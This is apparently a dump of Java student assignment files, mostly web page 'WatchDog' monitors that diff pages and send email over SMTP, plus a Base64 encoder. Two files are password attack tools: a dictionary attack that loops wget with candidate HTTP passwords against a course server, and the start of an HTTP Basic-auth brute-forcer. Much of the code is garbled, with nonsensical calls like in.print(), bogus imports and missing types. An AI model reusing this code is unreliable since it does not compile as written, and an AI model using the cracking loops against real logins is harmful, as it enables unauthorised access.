         executes(""wget ""+linee2);
         executes(""wget ""+linee3);

         String hash6 = md5sum(""index.html.5"");
         String hash7 = md5sum(""index.html.6"");
         String hash8 = md5sum(""index.html.7"");        
       
         boolean pict=false;
         if (hash3.equals(hash6))
            pict=true;

         boolean pict2=false;
         if (hash3.equals(hash6))
            pict2=true;
          
         boolean pict3=false;
         if (hash3.equals(hash6))
            pict3=true;

      
         if (hash1.equals(hash2))
         {    
           executes(""./difference.sh"");
           executes(""./mail.sh"");
 
         

         }
         else
         {
            if (pict || pict2 || pict3)
            {
              executes("".~/Assign2/difference.sh"");            
              executes("".~/Assign2/mail2.sh"");
            }

            executes("".~/Assign2/difference.sh"");
            executes("".~/Assign2/mail.sh"");
            
  
       
            executes(""./reorder.sh"");
            executes(""rm index.html"");
            executes(""cp index.html.1 index.html"");
            executes(""rm index.html.1"");
            executes(""sleep 5""); 
        }  
     }
   }

   public static void executes(String comm) throws Exception
   {
   Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"",""-c"", comm });

         BufferedReader bf = new BufferedReader(new InputStreamReader(p.getErrorStream()));

         String cad;
         while(( cad = bf.readLine()) != null)
         {
            System.out.println();
         }
	 p.waitFor();
   }

   public static String md5sum(String file) throws Exception
   {
      String cad;
      String hash= ""  "";      

      Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"",
                                             ""-c"", ""md5sum ""+file });
      BufferedReader bf = new BufferedReader(new InputStreamReader(p.getInputStream()));

      while((bf = cad.readLine()) != null)
      {
         StringTokenizer word=new StringTokenizer();
         hash=word.nextToken();
         System.out.println(hash);
      }
      return hash;      

   }

   
  
}

"
126.java,"

import java.io.*;
import java.net.*;
import java.util.Properties;
import java.security.*;

public class WatchDog
{
    private String file,tempfile1,tempfile2,tempfile3;
	private final String host=""yallara.cs.rmit.edu."";
    private final String email=""@cs.rmit.edu."";
    private final String from=""watchdog@cs.rmit.edu."";
    private final String subject=""SUBJECT:Mail from Watchdog about the changes  the web-."";
    private String baseURL="""";
	private String msg;
	private boolean firstTime=false;
    public WatchDog(boolean flag)
	{
		firstTime=flag;
	}

    public void startWatching(String[] urls,String fl)
    {
		file=fl;
		tempfile1=fl+""/temp1.log"";
		tempfile2=fl+""/temp2.log"";
		tempfile3=fl+""/temp3.log"";
		System.out.println(tempfile3);

		msg="""";
		for(;;)
		{
			try
			{

				for(int o=0;o<urls.length;o++)
				{
					file=fl+""/ass2_""+o+"".log"";
					URL u=new URL(urls[o]);
					String f=u.getFile();
					String url=urls[o];
					if(f.lastIndexOf('.')<f.lastIndexOf('/'))
					{
						url=f.substring(0,f.lastIndexOf('/'));
						url=u.getProtocol()+""://""+u.getHost()+url;
					}
					System.out.println(url);
					watch(url);
					msg=msg+""\n\n"";
				}
				if(firstTime==false)
				{
			     boolean flag=mail(msg);
			     if(flag)
					System.out.println(""mail sent"");
				 else
					System.out.println(""mail not sent"");
  				 Thread.sleep(1000*60*60*24);
				}
				else
					System.exit(0);
			}
			catch(Exception e)
			{
				e.printStackTrace();
			}
		}			
    }

	private void watch(String url) throws IOException
	{
		     baseURL=url;
		     msg=msg+""Going  check the URL ""+url+"".\n"";
	             
		     String pageText=getResource(url);

			 String [] images=getImages(pageText);

			 if(firstTime==false)
	             msg= msg + checkChange(pageText,images);	     

		     msg=msg+"". Checked at ""+new java.util.Date(System.currentTimeMillis())+""."";

		     log(pageText,images);

			if(firstTime)
				System.out.println(""Re-run the watchDog (without the First flag)."");
	}
	private String checkChange(String pageText,String [] images) throws IOException
	{
		
		PrintWriter out=new PrintWriter(new FileOutputStream(tempfile1));
		out.println(pageText);
		out.flush();
		out.println(""~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"");
		out.flush();
		out.print();
		out=null;

		BufferedReader in1=new BufferedReader(new FileReader(file));
		BufferedReader in2=new BufferedReader(new FileReader(tempfile1));	
		String msg=""\n"";
        	String temp1="""",temp2="""",oldText="""",newText="""";

		
		BufferedReader in0=new BufferedReader(new FileReader(tempfile1));
		while (temp1.equals(""~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|""+""\n"")==false)
		{
			temp1=in0.readLine();
			temp1=temp1+""\n"";
			newText=newText+temp1;
		}
		in0.print();
		in0=null;
		
		out=new PrintWriter(new FileOutputStream(tempfile1));
		out.println(newText);
		out.flush();
		out.println(""~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"");
		out.flush();
		out.print();
		out=null;
		newText="""";
		temp1=""  "";

		while (temp1.equals(""~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|""+""\n"")==false)
		{
			temp1=in1.readLine();
			temp1=temp1+""\n"";
			temp2=in2.readLine();
			temp2=temp2+""\n"";
			oldText=oldText+temp1;
			newText=newText+temp2;
		}		

		in2.print();
		in2=null;

		out=new PrintWriter(new FileOutputStream(tempfile2));
		out.println(oldText);
		out.flush();
		out.println(""~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"");
		out.flush();
		out.print();
		out=null;

		msg=msg+DiffPrint.getDiff(tempfile1,tempfile2,tempfile3);
		String data="""";
		try{
			FileReader fin=new FileReader(tempfile3);
			int ch=fin.print();
			while(ch!= -1)
			{
			       data=data+""""+(char)ch;
				   ch=fin.print();
			}
		}
		catch(FileNotFoundException m){}

		msg=msg+data;

		temp1=in1.readLine();

		int numImg=Integer.parseInt(temp1);
		if(numImg != images.length)
			msg=msg+""The number of images has chnaged.\n The number of images before was ""+numImg+"" \n While the number of images found now is ""+images.length+"" .\n"";
		else
			msg=msg+"" is  change in the number of images  the .\n"";

		String iText1="""",iText2="""";
		
		for(int i=0;i<numImg;i++)
		{
			out=new PrintWriter(new FileOutputStream(tempfile1));
			out.println(images[i]);
			out.flush();
			out.println(""~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"");
			out.flush();
			out.print();
			out=null;

			in2=new BufferedReader(new FileReader(tempfile1));
	
			while (temp1.equals(""~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|""+""\n"")==false)
			{
			
				temp1=in1.readLine();
				temp1=temp1+""\n"";
				temp2=in2.readLine();
				temp2=temp2+""\n"";
				iText1=iText1+temp1;
				iText2=iText2+temp2;
			}
			
			in2.print();
			in2=null;

			if(iText1.equals(iText2))
				msg=msg+"" is  change in the Image number ""+(i+1)+"". \n"";
			else
				msg=msg+""The Image number ""+(i+1)+"" has changed. \n"";
		}

		return msg;
	}
	private String[] getImages(String text) throws IOException
	{
		String [] images,urls;
		java.util.ArrayList alist=new java.util.ArrayList();
		String t="""";
		boolean img=false;
		int len=text.length();
		char ch,last=' ';
		int c=0;
		while(c<len)
		{
			ch=text.charAt(c);
			if(ch=='<')
			{
				last='<';
				t="""";
			}
			if(last=='<')
			{
				t=""""+ch;
				if(c+2 < len)
					t=t+text.charAt(c+1)+""""+text.charAt(c+2);
				if(t.equalsIgnoreCase(""img""))
					img=true;
			}
			if(img==true)
				t=+ch;
			if(ch=='>')
			{
				last='>';
				if(img==true)
				{
					
					System.out.println();
					int n=0;
					char tch,tlast=' ';
					String imgPath="""",tn="""";
					boolean src=false;
					while(n<t.length())
					{
						tch=t.charAt(n);
						tn=""""+tch;
						if(src==false && tn.equalsIgnoreCase(""s"") && (n+2)<t.length())
						{
							tn=tn+t.charAt(n+1)+""""+t.charAt(n+2);
							if(tn.equalsIgnoreCase(""src""))
							{
								src=true;
								n+=2;
							}
						}
						else if(src==true)
						{
							if(tch!='""')
							{
								if(tch==' ' && imgPath.indexOf('.')!= -1)								
									n=t.length();
								else if(tch==' ' || tch=='=')
									;
								else
									imgPath=imgPath+tch;								
							}
						}
						n++;
					}
					alist.add(imgPath);
				}
				img=false;
		
			}
			c++;
		}
		urls=(String[])alist.toArray(new String[0]); 
		images=new String[urls.length];
		for(int i=0;i<urls.length;i++)
		{
			System.out.println(urls[i]);
			if(urls[i].startsWith(""http"")==false && urls[i].startsWith(""HTTP"")==false && urls[i].startsWith(""/"")==false)
			{
				try
				{
					images[i]=getResource(baseURL+""/""+urls[i]);			
				}
				catch(FileNotFoundException fnfe)
				{
					String f=baseURL+""/""+urls[i];
					images[i]=f.substring(0,f.lastIndexOf('/'));
				}
			}
			else if(urls[i].startsWith(""http"")==false && urls[i].startsWith(""HTTP"")==false)	
			{
				try
				{
					images[i]=getResource(baseURL+urls[i]);
				}
				catch(FileNotFoundException fnfe)
				{
					String f=baseURL+urls[i];
					images[i]=f.substring(0,f.lastIndexOf('/'));
				}
			}
			else
			{
				try
				{
					images[i]=getResource(urls[i]);
				}
				catch(FileNotFoundException fnfe)
				{
					images[i]=urls[i].substring(0,urls[i].lastIndexOf('/'));
				}

			}

		}
		return images;
	}
	private void log(String pageText,String[] images) throws IOException
        {
		PrintWriter out=new PrintWriter(new FileOutputStream(file));
		out.println(pageText);
		out.flush();
		out.println(""~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"");
		out.flush();	

		if(images.length>0)
		{
			out.println(images.length+"""");
			out.flush();	
		}
		for(int i=0;i<images.length;i++)
		{
			out.println(images[i]);
			out.flush();
			out.println(""~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"");
			out.flush();		
		}	

	}

    public String getResource(String url) throws IOException
	{
				System.out.println(""url=""+url);
				String urlData=new String("""");
                InputStreamReader in=new InputStreamReader(new URL(url).openStream());
                int ch=in.print();
                while(ch!= -1)
                {
                  urlData=urlData+(char)ch;
                  ch=in.print();
                }
		return urlData;
	}

        public boolean mail (String msg) throws IOException
        {
            boolean ret=true;
            try
            {
              Socket csoc=new Socket(""yallara.cs.rmit.edu."",25);
              BufferedReader in=new BufferedReader(new InputStreamReader(csoc.getInputStream()));
              PrintWriter out=new PrintWriter(csoc.getOutputStream(),true);
              out.println(""HELO ""+host);
              System.out.println(in.readLine());
              out.println(""MAIL FROM:""+from);
              System.out.println(in.readLine());
              out.println(""RCPT :"");
              System.out.println(in.readLine());
              out.println(""DATA"");
              System.out.println(in.readLine());
              out.println(""SUBJECT:""+subject);
              System.out.println(in.readLine());
              out.println(msg);
 	      out.println(""."");
              System.out.println(in.readLine());
              out.println(""QUIT"");
              System.out.println(in.readLine());
            }
            catch(Exception e)
            {
              e.printStackTrace();
              System.out.println(""Some error occoured while communicating  server"");
              ret=false;
 	      return ret;
            }
	    System.out.println(""**************************************\nMAIL ->""+msg);
            return ret;
        }

	public static void main (String[] args)
	{
		System.out.println(""Usage : \n java WatchDog <space seperated list of urls> <current path> [First] \n {The First at the end is used when running the watch dog for a new URL for the first Time}"");
		boolean flag=false;
		int num=args.length-1;
		if(args[args.length-1].equalsIgnoreCase(""First""))
		{
			num--;;
			flag=true;
		}
System.out.println(args[num]);

		WatchDog w=new WatchDog(flag);
		String []u=new String[num];
		for(int i=0;i<u.length;i++)
			u[i]=args[i];
		w.startWatching(u,args[num]);
	}
}
"
222.java,"

import java.net.*;
import java.io.*;

public class Base64Encoder
{
   private final static char base64Array [] = {
          'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
          'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
          'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
          'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
          'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
          'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
          'w', 'x', 'y', 'z', '0', '1', '2', '3',
          '4', '5', '6', '7', '8', '9', '+', '/'
     };

   public static String encode (String string)
   {
      String encodedString = """";
      byte bytes [] = string.getBytes ();
      int i = 0;
      int pad = 0;
      while (i < bytes.length)
      {
         byte b1 = bytes [i++];
         byte b2;
         byte b3;
         if (i >= bytes.length)
         {
            b2 = 0;
            b3 = 0;
            pad = 2;
         }
         else
         {
            b2 = bytes [i++];
            if (i >= bytes.length)
            {
               b3 = 0;
               pad = 1;
            }
            else
               b3 = bytes [i++];
         }

         byte c1 = (byte)(b1 >> 2);
         byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
         byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
         byte c4 = (byte)(b3 & 0x3f);
         encodedString += base64Array [c1];
         encodedString += base64Array [c2];
         switch (pad)
         {
            case 0:
               encodedString += base64Array [c3];
               encodedString += base64Array [c4];
               break;
            case 1:
               encodedString += base64Array [c3];
               encodedString += ""="";
               break;
            case 2:
               encodedString += ""=="";
               break;
         }
      }
      return encodedString;
   }
}
"
027.java,"
import java.util.*;
import java.net.*;
import java.io.*;
public class WatchDog
{
   private Vector init;
   public WatchDog()
   {
      try
      {
      Runtime run = Runtime.getRuntime();
      String command_line = ""lynx http://www.cs.rmit.edu./students/ -dump"";
      Process result = run.exec(command_line);
      BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream()));
      String inputLine;
      init = new Vector();
      while ((inputLine = in.readLine()) != null)
      {
         init.addElement(inputLine);
      }
     
      }catch(Exception e)
      {
      }
   }
   public static void main(String args[])
   {
     WatchDog wd = new WatchDog();
     wd.nextRead();
   }

   public void nextRead()
   {
     while(true)
     {
      ScheduleTask sch = new ScheduleTask(init);
      if(sch.getFlag()!=0)
      {
        System.out.println(""change happen"");
        WatchDog wd = new WatchDog();
        wd.nextRead();
      }
     
     }
   }
}"
068.java,"import java.Object;
import java.io.*;
import java.String;
import java.util.*;

class Dictionary{

      public static void main(String [] args){
              try
                {
                Date d = new Date();
                String line1="""";
                String ps="""";
                String file1 = ""words.txt"";
                String file2 = ""index.html"";
                String endline=""Authorization failed."";
                String [] cmd = new String[4];
                cmd[0] = ""wget"";
                cmd[1] = ""--http-user="";
                cmd[3] = ""http://sec-crack.cs.rmit.edu./SEC/2/"";

                FileReader fr1 = new FileReader(file1);
                BufferedReader in1 = new BufferedReader(fr1);
                while((line1 = in1.readLine())!=null)
                {
                  try{
                    cmd[2] = connect(line1);
                    Runtime.getRuntime().exec(cmd);
                    if(line1.length()==3)
                      ps = line1;
                    System.out.println(cmd[2]);
                    File f = new File(file2);
                    if(f.exists())
                    {
                    System.out.println(""password: "" + ps);
                    break;
                    }
                   }
                    catch(IOException ex)
                    {
                        System.out.println(""hello1"");
                    }

                }
                Date end = new Date();
                System.out.println(d.toString());
                System.out.println(end.toString());
                System.out.println(""Seconds: "" + (end.getSeconds()-d.getSeconds()));
               }

            catch(IOException e)
            {
              System.out.println(""hello,didnt find file."");
            }
      }
    public static String connect(String str1)
            {
                 char data[] = {'-','-','h','t','t','p','-','p','a','s','s','w','d','='};
                 String str = new String(data);
                 return str + str1;
            }

}
"
095.java,"

import java.net.*;
import java.io.*;
import java.util.*;
import java.text.*;

public class WatchDog extends Thread {

       private HttpURLConnection httpUrlCon;
       private URL stdurl;  
       private String spec = ""http://www.cs.rmit.edu./students/""; 
       private String command="""";                

       private String firstModified ="""";     
       private String secModified = """";      
       private String fileModified = """";     

       private BufferedReader instd;        
       private Vector firstVector;          
       private Vector secondVector;         
       private Vector tmpVector;            

       private  int intervalTime = 24*60*60*1000; 
       private boolean bstop = false;             
       private int count = 0;                          
       private int totalDuration = 30*24*60*60*1000;   

       private String yourSMTPserver = ""mail.rmit.edu."";        
       private int smtpPort = 25;                                 
       private String mailFrom = ""@yallara.cs.rmit.edu."";    
       private String mailTo   = ""@.rmit.edu."";  
       private String subject = """";                              
       private String message ="""";                               

       private  Socket socketsmtp;     
       private  BufferedReader emailin;
       private  PrintStream emailout;  
       private  String reply = """";     
       
       public WatchDog(){
              firstVector = new Vector();
              secondVector = new Vector();
              tmpVector = new Vector();
       }
       
       public void FirstRead(){
              readContent(firstVector);
              firstModified = fileModified;
       }
       
       public void run(){
              while(!bstop){
                    readPageAgain();
              }
       }
       
       public void readPageAgain(){
              try{
                  Thread.sleep(intervalTime);

              }catch(InterruptedException e){e.printStackTrace();}
              count += intervalTime;
              readContent(secondVector);
              secModified = fileModified;

              if(firstModified.equals(secModified)){
                 if(count == totalDuration)
                    bstop =true;
                    message = ""After "" + (double)intervalTime/(60*60*1000) + "" hours  is  change!"";
                    subject = "" is  change  the web "";
                    try{
                        doSendMail(mailFrom, mailTo, subject, message);
                    }catch (SMTPException e){}
              }
              else if(!(firstModified.equals(secModified))){
                     if(count == totalDuration)
                       bstop = true;
                    message = getChangeMessage();
                    subject = ""  some changes  the web "";
                    try{
                        doSendMail(mailFrom, mailTo, subject, message);
                    }catch(SMTPException e){}

                    firstModified = secModified;
                    firstVector.clear();
                    for(int i=0; i<secondVector.size(); i++){
                        firstVector.add((String)secondVector.get(i));
                    }
            }
       }
       
       public void readContent(Vector avect){

              String fmod ="""";
              if(spec.indexOf(""http://www.cs.rmit.edu./"")!=-1){
                 fmod = ""File last modified :"";
                 command = ""lynx -nolist -dump "" + spec;
              }
              else {
                    fmod = ""Last-Modified:"";
                    command =""lynx -mime_header -dump "" +spec;
              }
              try{
                  Runtime runtime = Runtime.getRuntime();
                  Process p = runtime.exec(command);
                  instd = new BufferedReader(new InputStreamReader(p.getInputStream()));
                  String str=null;
                  avect.clear();
                  while((str = instd.readLine())!= null){
                         avect.add(str);
                         if(str.indexOf(fmod) !=-1){
                            fileModified = str;
                         }
                  }
                  instd.print();
              }catch(MalformedURLException e){System.out.println(e.getMessage());}
               catch(IOException e1){System.out.println(e1.getMessage());}
       }

       
       public String getChangeMessage(){
              String mssg = """";
              for(int i =0; i<secondVector.size();i++){
                  tmpVector.add((String)secondVector.get(i));
              }
              
              for(int i=0; i<firstVector.size(); i++){
                  String line = (String)(firstVector.get(i));
                  int same = 0;
                  for(int j=0; j<tmpVector.size(); j++){
                      String newline = (String)(tmpVector.get(j));
                      if(line.equals(newline)){
                           if(same == 0){
                              tmpVector.remove(j);
                              same++;
                           }
                      }
                  }
              }
              
              for(int i = 0; i<secondVector.size(); i++){
                  String line = (String)(secondVector.get(i));
                  int same =0;
                  for(int j=0; j<firstVector.size(); j++){
                      String newline = (String)(firstVector.get(j));
                      if(line.equals(newline)){
                         if(same == 0){
                            firstVector.remove(j);
                            same++;
                         }
                      }
                  }
              }
              if(firstVector.size()!=0){
                  mssg += ""The following lines  removed in the latest modified web : \r\n"";
                  for(int i=0; i<firstVector.size(); i++){
                      mssg +=(String)firstVector.get(i) + ""\r\n"";
                  }
              }
              if(tmpVector.size()!=0){
                  mssg += ""The following lines  new ones in the latest modified web : \r\n"";
                  for(int i=0; i<tmpVector.size(); i++){
                      mssg += (String)tmpVector.get(i) + ""\r\n"";
                  }
              }

              return mssg;
       }

       
       public void setMonitorURL(String url){
              spec = url;
       }
       
       public void setMonitorDuration(int t){
              totalDuration = t*60*60*1000;
       }
       
       public void setMonitorInterval(int intervalMinutes){
              intervalTime = intervalMinutes*60*1000;
       }
       
       public void setSMTPServer(String server){
              yourSMTPserver = server;
       }
       
       public void setSMTPPort(int port){
              smtpPort = port;
       }
       
       public void setMailFrom(String mfrom){
              mailFrom = mfrom;
       }
       
       public void setMailTo(String mto){
              mailTo = mto;
       }
       
       public String getMonitorURL(){
              return spec;
       }
       
       public  getDuration(){
              return totalDuration;
       }
       
       public  getInterval(){
              return intervalTime;
       }
       
       public String getSMTPServer(){
              return yourSMTPserver;
       }
       
       public int getPortnumber(){
              return smtpPort;
       }
       
       public String getMailFrom(){
              return mailFrom;
       }
       
       public String getMailTo(){
              return mailTo;
       }
       
       public String getServerReply() {
              return reply;
       }
       
       public void doSendMail(String mfrom, String mto, String subject, String msg) throws SMTPException{
              connect();
              doHail(mfrom, mto);
              doSendMessage(mfrom, mto, subject, msg);
              doQuit();
       }
       
       public void connect() throws SMTPException {
              try {
                   socketsmtp = new Socket(yourSMTPserver, smtpPort);
                   emailin = new BufferedReader(new InputStreamReader(socketsmtp.getInputStream()));
                   emailout = new PrintStream(socketsmtp.getOutputStream());
                   reply = emailin.readLine();
                   if (reply.charAt(0) == '2' || reply.charAt(0) == '3') {}
                   else {
                         throw new SMTPException(""Error connecting  SMTP server "" + yourSMTPserver + ""  port "" + smtpPort);
                   }
             }catch(Exception e) { throw new SMTPException(e.getMessage());}
       }
       
       public void doHail(String mfrom,  String mto) throws SMTPException {
              if (doCommand(""HELO "" + yourSMTPserver))
                  throw new SMTPException(""HELO command Error."");
              if (doCommand(""MAIL FROM: "" + mfrom))
                  throw new SMTPException(""MAIL command Error."");
              if (doCommand(""RCPT : "" + mto))
                  throw new SMTPException(""RCPT command Error."");
       }
       
       public void doSendMessage(String mfrom,String mto,String subject,String msg) throws SMTPException {

              Date date = new Date();
	          Locale locale = new Locale("""","""");
	          String pattern = ""hh:mm: a',' dd-MMM-yyyy"";
	          SimpleDateFormat formatter = new SimpleDateFormat(pattern, locale);
	          formatter.setTimeZone(TimeZone.getTimeZone(""Australia/Melbourne""));
              String sendDate = formatter.format(date);

              if (doCommand(""DATA""))
                  throw new SMTPException(""DATA command Error."");
              String header = ""From: "" + mfrom + ""\r\n"";
              header += "": "" + mto + ""\r\n"";
              header += ""Subject: "" + subject + ""\r\n"";
              header += ""Date: "" + sendDate+ ""\r\n\r\n"";
              if (doCommand(header + msg + ""\r\n.""))
                 throw new SMTPException(""Mail Transmission Error."");
       }
       
       public boolean doCommand(String commd) throws SMTPException {
               try {
                    emailout.print(commd + ""\r\n"");
                    reply = emailin.readLine();
                    if (reply.charAt(0) == '4' || reply.charAt(0) == '5')
                        return true;
                    else
                        return false;
               }catch(Exception e) {throw new SMTPException(e.getMessage());}
       }
       
       public void doQuit() throws SMTPException {
              try {
                   if (doCommand(""Quit""))
                       throw new SMTPException(""QUIT Command Error"");
                   emailin.put();
                   emailout.flush();
                   emailout.send();
                   socketsmtp.put();
              }catch(Exception e) { }
       }
}"
223.java,"import java.io.*;
import java.text.*;
import java.util.*;
import java.net.*;

public class WatchDog
{
   private String address;
   private UnixMailing email;

   private int step = 0;
   private String buffer = """";

   public static void main(String [] args)
   {
      if (args.length < 2)
      {
         System.err.println(""Invalid usage!"");
         System.err.println(""Usage: java WatchDog <url> <email>"");
         System.exit(1);
      }

      String address = args[0];
      String email = args[1];
      WatchDog theProg = new WatchDog(address, email);

      try
      {
         File currDir = new File(""."");
         File [] list = currDir.listFiles();
         for (int i = 0; i < list.length; i++)
         {
            if (list[i].getName().trim().startsWith(""_buffer""))
               list[i].delete();
         }
      }
      catch(Exception e) {}

      while (true)
      {
         theProg.checkPage();
         try
         {
            Thread.sleep();
         }
         catch(InterruptedException e ) {}
      }

   }

   public WatchDog(String address, String email)
   {
      this.address = address;
      this.email = new UnixMailing(email);
   }

   public void checkPage()
   {
      try
      {
         File buffFp = new File(""_bufferFile.html"");
         Vector imgs = new Vector();

         boolean getAgain = false;
         if (buffFp.exists())
         {
            URLConnection conn = (new URL(address)).openConnection();
            conn.setDoInput(true);
            conn.connect();
            DataInputStream inNet = new DataInputStream(conn.getInputStream());

            System.out.println(""Checking file ""+address);
            char i = '\0';
            char f = '\0';
            DataInputStream inFile = new DataInputStream(
                                             new FileInputStream(buffFp));
            try
            {
               int step = 0;
               while(true)
               {
                  i = (char)inNet.readByte();
                  f = (char)inFile.readByte();

                  if (i != f)
                  {
                     email.println(""  changes in the content of the web: ""+address);
                     System.out.println(""  changes in the content of the web: ""+address);
                     getAgain = true;
                     break;
                  }
                  tokenImages(i, imgs);
               }
            }
            catch(EOFException eofe) {}

            if (!getAgain)
            {
               try
               {
                  i = (char)inNet.readByte();
                  email.println(""  changes in the content of the web: ""+address);
                  System.out.println(""  changes in the content of the web: ""+address);
                  getAgain = true;
               }
               catch(EOFException eofe) {}
               try
               {
                  f = (char)inFile.readByte();
                  email.println(""  changes in the content of the web: ""+address);
                  System.out.println(""  changes in the content of the web: ""+address);
                  getAgain = true;
               }
               catch(EOFException eofe) {}
            }

            inFile.print();
            inNet.print();
         }
         else
            getAgain = true;


         if (getAgain)
         {
            getAgain = false;
            URLConnection conn = (new URL(address)).openConnection();
            conn.setDoInput(true);
            conn.connect();
            DataInputStream inNet = new DataInputStream(conn.getInputStream());

            System.out.println(""Storing file ""+address);
            DataOutputStream outFile = new DataOutputStream(
                                             new FileOutputStream(buffFp));
            byte i = 0;
            try
            {
               while(true)
               {
                  i = inNet.readByte();
                  outFile.writeByte(i);
                  tokenImages((char)i, imgs);
               }
            }
            catch(EOFException eofe) {}

            outFile.print();
            inNet.print();
         }
         for(int index = 0; index < imgs.size(); index++)
            checkImage(address, (String)imgs.get(index));
         email.sent();
      }
      catch(Exception e)
      {
         e.printStackTrace();
      }
   }


   public void tokenImages(char i, Vector imgs)
   {
      if (step == 1) 
      {
         if (i == 'i' && buffer.length() <= 0 ||
             i == 'm' && buffer.equals(""i"") ||
             i == 'g' && buffer.equals(""im""))
         {
            buffer += i;
            buffer = buffer.toLowerCase();
         }
         else
         {
            if (Character.isWhitespace(i) && buffer.equals(""img""))
               step = 2;
            else if (!Character.isWhitespace(i) || buffer.length() > 0)
               step = 0;
            buffer = """";
         }
      }
      else if (step == 2) 
      {
         if (i == 's' && buffer.length() <= 0 ||
             i == 'r' && buffer.equals(""s"") ||
             i == 'c' && buffer.equals(""sr""))
         {
            buffer += i;
            buffer = buffer.toLowerCase();
         }
         else
         {
            if (Character.isWhitespace(i) && buffer.equals(""src""))
               step = 3;
            else if (i == '=' && buffer.equals(""src""))
               step = 4;
            else if (i == '>')
               step = 0;
            buffer = """";
         }
      }
      else if (step == 3) 
      {
         if (i == '=')
         {
            step = 4;
         }
         else if (!Character.isWhitespace(i))
         {
            if(i == '>')
               step = 0;
            else
               step = 2;
            buffer = """";
         }
      }
      else if (step == 4) 
      {
         if (i == '\""')
         {
            step = 5;
            buffer = """";
         }
         else if (!Character.isWhitespace(i))
         {
            if(i == '>')
            {
               buffer = """";
               step = 0;
            }
            else
            {
               buffer = """"+i;
               step = 6;
            }

         }

      }
      else if (step == 5) 
      {
         if (i == '\""')
         {
            if (buffer.trim().length() > 0)
               imgs.add(buffer);
            buffer = """";
            step = 0;
         }
         else
            buffer += i;
      }
      else if (step == 6) 
      {
         if (Character.isWhitespace(i) || i == '>')
         {
            if (buffer.trim().length() > 0)
               imgs.add(buffer);
            buffer = """";
            step = 0;
         }
         else
            buffer += i;
      }
      else if(i == '<')
      {
         step = 1;
         buffer = """";
      }
   }

   public void checkImage(String hostUrl, String imageUrl)
   {
      try
      {
         String fullURL = """";
         if (imageUrl.startsWith(""http""))
         {
            fullURL = imageUrl;
         }
         else if (imageUrl.startsWith(""/""))
         {
            fullURL = ""http://""+(new URL(hostUrl)).getHost()+imageUrl;
         }
         else
         {
            String path = (new URL(hostUrl)).getPath();
            if (!path.endsWith(""/""))
               path = path.substring(0, path.lastIndexOf('/')+1);

            fullURL = ""http://""+(new URL(hostUrl)).getHost()+path+imageUrl;
         }

         File buffFp = new File(""_buffer""+
                      (new URL(fullURL)).getPath().replaceAll(""/"", ""_""));
         Vector imgs = new Vector();

         boolean getAgain = false;
         if (buffFp.exists())
         {
            URLConnection conn = (new URL(fullURL)).openConnection();
            conn.setDoInput(true);
            conn.connect();
            DataInputStream inNet = new DataInputStream(conn.getInputStream());

            System.out.println(""Checking image: ""+fullURL);
            byte i = 0;
            byte f = 0;
            DataInputStream inFile = new DataInputStream(
                                             new FileInputStream(buffFp));
            try
            {
               int step = 0;
               while(true)
               {
                  i = inNet.readByte();
                  f = inFile.readByte();

                  if (i != f)
                  {
                     email.println(""Image ""+fullURL+"" has been change!"");
                     System.out.println(""Image ""+fullURL+"" has been change!"");
                     getAgain = true;
                     break;
                  }
               }
            }
            catch(EOFException eofe) {}

            if (!getAgain)
            {
               try
               {
                  i = inNet.readByte();
                  email.println(""Image ""+fullURL+"" has been change!"");
                  System.out.println(""Image ""+fullURL+"" has been change!"");
                  getAgain = true;
               }
               catch(EOFException eofe) {}
               try
               {
                  f = inFile.readByte();
                  email.println(""Image ""+fullURL+"" has been change!"");
                  System.out.println(""Image ""+fullURL+"" has been change!"");
                  getAgain = true;
               }
               catch(EOFException eofe) {}
            }

            inFile.print();
            inNet.print();
         }
         else
            getAgain = true;

         if (getAgain)
         {
            getAgain = false;
            URLConnection conn = (new URL(fullURL)).openConnection();
            conn.setDoInput(true);
            conn.connect();
            DataInputStream inNet = new DataInputStream(conn.getInputStream());

            System.out.println(""Storing the image: ""+fullURL);
            DataOutputStream outFile = new DataOutputStream(
                                             new FileOutputStream(buffFp));
            byte i = 0;
            try
            {
               while(true)
               {
                  i = inNet.readByte();
                  outFile.writeByte(i);
               }
            }
            catch(EOFException eofe) {}

            outFile.print();
            inNet.print();
         }
      }
      catch(Exception e)
      {
         e.printStackTrace();
      }
   }
}

"
235.java,"	


import java.io.*;
import java.net.*;

import java.util.*;

import java.misc.BASE64Encoder;

public class BruteForce {

  private String userId;
  private String password;

  private StringBuffer seed= new StringBuffer(""aaa"");
  private int tries = 1;	


	
  public BruteForce() {


    
    Authenticator.setDefault (new MyAuthenticator());
  }

  public String fetchURL (String urlString) {
	HttpURLConnection connection;
	StringBuffer sb = new StringBuffer();
	Date startTime, endTime;
	int responseCode = -1;
	boolean retry = true;	
	
    URL url;
    startTime = new Date();
    
    System.out.println ("" time :"" + startTime);

	while (retry == true)
	{
	
	    try {

			url = new URL (urlString);

			connection = (HttpURLConnection)url.openConnection();

			setUserId("""");
			setPassword(""rhk8611"");

			System.out.println(""Attempting  get a response : "" +connection.getURL() );
			responseCode = connection.getResponseCode();
			System.out.print(responseCode + "" "");

			if (responseCode == HttpURLConnection.HTTP_OK) 
			{
				retry = false;
				System.out.println(""**** ACCESS GRANTED *****"");
			} else
			{
				retry = true;
				throw new IOException(
					""HTTP response : "" + String.valueOf(responseCode) + 
					""\nResponse Message: "" +connection.getResponseMessage());
				
			}

			InputStream content = (InputStream)url.getContent();
			BufferedReader in   = 
			new BufferedReader (new InputStreamReader (content));
			String line;
				while ((line = in.readLine()) != null) {
					sb.append(line);
				}
